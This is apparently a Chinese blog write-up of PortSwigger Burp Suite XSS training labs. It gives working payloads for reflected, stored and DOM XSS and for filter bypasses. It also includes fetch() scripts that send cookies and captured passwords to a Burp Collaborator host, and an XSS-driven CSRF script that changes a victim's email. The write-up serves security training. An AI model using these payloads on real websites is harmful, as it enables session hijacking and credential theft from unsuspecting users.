burpsuite靶场xss

常见函数

encodeURIComponent

转义除了如下所示外的所有字符:

1
2
不转义的字符:
A-Z a-z 0-9 - _ . ! ~ * ' ( )

学徒级别

1.将 XSS 反射到 HTML 上下文中

漏洞点:搜索栏

payload

1
<script>alert(1)</script>

2.将 XSS 反射到 HTML 上下文中

漏洞点:文章评论区

payload

1
<script>alert(1)</script>

3.使用源的接收器中的 DOM XSS

漏洞点:搜索栏

f12打开源代码

使用搜所功能之后发发现dom 接口

点击发现代码

1
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">')

构造payload

1
'"><script>alert(1)</script>

4.使用源在接收器中输入 DOM XSS

描述:搜索博客功能中包含一个基于 DOM 的跨站点脚本执行漏洞。它使用赋值,该赋值使用 来自 的数据更改元素的 HTML 内容。

dom使用了赋值形

查看源代码

思路:属性的值

无效并引发错误。这将触发事件处理程序,然后事件处理程序调用该函数。因此,每当用户的浏览器尝试加载包含恶意帖子的页面时,都会执行有效负载。

payload

1
<img src=1 onerror=alert(1)>

src的值不正确触发事件 onerror

同理 事件型payload还有

1
<img src=1 onclick=alert(1)>

5.使用源的 jQuery 锚点属性接收器中的 DOM XSS

描述:在提交反馈页中包含一个基于 DOM 的跨站点脚本漏洞。它使用 jQuery 库的选择器函数来查找锚点元素,并使用 来自 的数据更改其属性。$``href``location.search

要解决此练习,请发出“后退”链接警报。document.cookie

思路:

根据描述先找到相关代码

前端对应代码为

因此猜测为

输入的payload当做herf的值 尝试构造payload

1
123" onclick="alert(document.cookie)"

发现无法闭合href属性

使用

1
javascript:alert(document.cookie)

输入之后进入href的值

1
href="javascript:alert(document.cookie)"

单击即可触发


6.使用哈希更改事件在 jQuery 选择器接收器中 SINK 中的 DOM XSS

描述:此实验室主页上包含一个基于 DOM 的跨站点脚本漏洞。它使用jQuery的选择器函数自动滚动到给定的帖子,其标题通过属性传递。$()``location.hash

要解决实验室问题,请向受害者提供在其浏览器中调用该函数的攻击。print()


7.将 XSS 反射到带有尖括号 HTML 编码的属性中

描述:此实验室在搜索博客功能中包含一个反映的跨站点脚本漏洞,其中尖括号是 HTML 编码的。若要解决此实验室问题,请执行跨站点脚本攻击,该攻击会注入属性并调用函数。alert

漏洞点在搜索框中

输入xss进行搜索

发现输入的值作为了value属性的值,构造payload

1
"><script>alert(1)</script>

发现

集合描述,是尖括号被转义,因此改用事件型触发

payload

1
2
"onmouseover="alert(1)
//onmouseover 事件发生在鼠标指针移动到元素或它的子元素上时

8.将 XSS 存储到带有双引号 HTML 编码的锚点属性中href

描述:此实验室在注释功能中包含一个存储的跨站点脚本漏洞。若要解决此实验问题,请提交一个注释,该注释在单击注释作者姓名时调用该函数。alert

思路:根据描述,漏洞点在文章评论区,而且双引号会被过滤

解决:

一开始我以为是对Name的值进行xss,其实是对Website,Website设计的作用添加个人博客地址,游客可以点击评论者姓名即可跳转到评论者的博客地址

随即便发现了漏洞点

根据描述双引号会被转义 没有双引号闭合不了herf事件 尖括号无论是否被转义都无法使用

采用js伪协议

payload

1
javascript:alert(1)

9.将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中

根据描述是在搜索框有xss,找到了对应代码

发现搜索框输入的东西会被encodeURIComponent函数编码

可以通过单引号闭合

payload

1
'_alert(1)_'

10.DOM XSS 在选择元素中使用源代码

随便访问一篇博客。url参数带有productId文章id

此时文章末尾的选择项目有三个选项

观察源代码

发现他是从url中获取storeId参数,前面在url中并没有

尝试在url里添加

此时下拉的选项里有我们刚刚添加的storeId参数

说明dom从url中提取参数

源代码

1
document.write('<select name="storeId">');

构造payload

1
">')<script>alert(1)</script>

实验完成


11.AngularJS表达式中的DOM XSS,带有尖括号和双引号HTML编码

在搜索框输入任意字符搜索

查看原代码

发现代码熟悉ng-app,名调用了AngularJS

AngularJS是一个流行的JavaScript库,它扫描包含属性的HTML节点的内容(也称为AngularJS指令)。将指令添加到 HTML 代码时,可以在双大括号内执行 JavaScript 表达式。在对尖括号进行编码时,此技术很有用。ng-app

AngularJS造成xss参考文章https://www.mianshigee.com/note/detail/76633iai/

使用payload

1
{{constructor.constructor('alert(1)')()}} 

完成实验

当引用了第三方js库就可能引起xss


12.反射式 DOM XSS

进行进入博客搜索然后进行抓包

在返回包中观察到会对

search-results进行检索

构造payload闭合

1
1"-alert(1)}//

但是观察到有一个反斜杠转义,因此多加一个反斜杠让他不转义

舍友payload改为

1
1\"-alert(1)}//

成功触发

13.存储的 DOM XSS

尝试插入

aa

在js中发现了过滤

为了防止XSS,该网站使用 JavaScriptreplace()函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数仅替换第一次出现。我们通过在注释的开头简单地包含一组额外的尖括号来利用此漏洞。这些尖括号将被编码,但任何后续尖括号将不受影响,使我们能够有效地绕过过滤器并注入 HTML。

所以构造payload

1
<><img src=1 onerror=alert(1)>

完成实验

插入简单payload就造成弹窗

1
<script>alert(1)</script>

那我们构造payload把cookie发送到Burp Collaborator Client

payload

1
2
3
4
5
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});

Burp Collaborator Client使用

点击run测试是否正常

点击burp 选择Collaborator Client打开

然后点击复制

把复制的内容填入

payload fetch

最终payload样式为

1
2
3
4
5
fetch('https://dctl6v7eyxdtdzfvec95ysw980er6fv.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});

然后到博客评论区提交payload 回到Collaborator Client点击poll now然后一会之后就可以看见交互

获取cookie之后替换即可,cookie为post里的传输值


15.利用跨站点脚本捕获密码

打开 burp collaborator client功能

点击复制返回替换payload里的值

1
2
3
4
5
6
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

然后payload放入评论区

提交评论之后点击 poll now等一会就可以看见有交互了

然后登录即可完成实验


16.利用XSS执行CSRF

这题需要使用xss执行csrf并且已经给出了payload

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

这个payload会发送一个请求 请求/my-account页面 然后使用正则把返回包中的token值过滤出来

修改邮件的请求包如下可以看见需要验证csrf token

但是当我们访问/my-account页面时

返回包会泄露用户token

那payload在获取token之后直接请求修改邮箱就可以造成csrf


17.将 XSS 反射到 HTML 上下文中,阻止大多数标记和属性

本关注入点在搜索框是个反射性xss

发现有标签被过滤了接下来用字典fuzz一下看看有什么没被过滤

字典地址https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

fuzz所有标签和事件

发现body标签没过滤 还有很多事件没过滤

现在使用body标签和onresize事件都是不经过过滤的

使用payload

1
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

填入靶场链接点击 store和deliver exploit to victim完成实验

18.将 XSS 反射到 HTML 上下文中,阻止除自定义标记之外的所有标记

题目有点哈人

阻止除自定义标记之外的所有 HTML 标记。

要解决实验室问题,请执行跨站点脚本攻击,注入自定义标记并自动发出警报document.cookie。

payload

1
2
3
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

在实验室使用即可

19.允许使用一些 SVG 标记的反射式 XSS

svg是一个HTML标签根据题目说明了没过滤可以直接用

漏洞点还是在搜索框 先fuzz一下什么事件没过滤

发现

这些标签都没被过滤

需要构造语句还需要fuzz一下看什么事件没过滤

发现onbegin事件还能用

构造payload

1
?search="><svg><animatetransform onbegin=alert(1)>

输入即可完成

20.规范链接标记中的反射 XSS

只能在谷歌浏览器使用

payload

1
https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

21.将XSS反射到带有单引号和反斜杠转义的JavaScript字符串中

在搜索框输入111并且抓包

发现明显漏洞点

构造payload

1
';</script><script>alert(1)</script>

成功

22.将XSS反射到带有尖括号和双引号的JavaScript字符串中,HTML编码和单引号转义

搜索框是和上一题一样的漏洞点

但是使用上一条的payload发现有过滤 尖括号被转义

payload

1
\'-alert(1)//

payload思路

因为可控内容在标签script标签里 因此直接不考虑尖括号过滤构造闭合即可

23.将 XSS 存储到带有尖括号和双引号的事件中 HTML 编码,单引号和反斜杠转义

在博客评论区进行评论

发现了漏洞点

payload

1
http://foo?&apos;-alert(1)-&apos;

24.将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文本中 Unicode 转义

发现payload被转义

使用新payload

1
${alert(1)}

25.阻止事件处理程序和属性的反射式 XSS

payload

1
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
1
2
https://YOUR-LAB-ID.web-security-academy.net/?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

这里复制payload的后半部分进行搜索不会触发弹窗

直接访问带payload的url才能触发

26.在 JavaScript URL 中反射 XSS,但阻止了一些字符

发现漏洞点

payload

1
https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

27.反射式XSS与AngularJS沙盒转义没有字符串

直接使用payload

payload

1
2
https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

28.反射式XSS由非常严格的CSP保护,带有悬空标记攻击


burpsuite靶场xss
http://example.com/2022/11/10/burpsuite靶场xss/
作者
QY
发布于
2022年11月10日
许可协议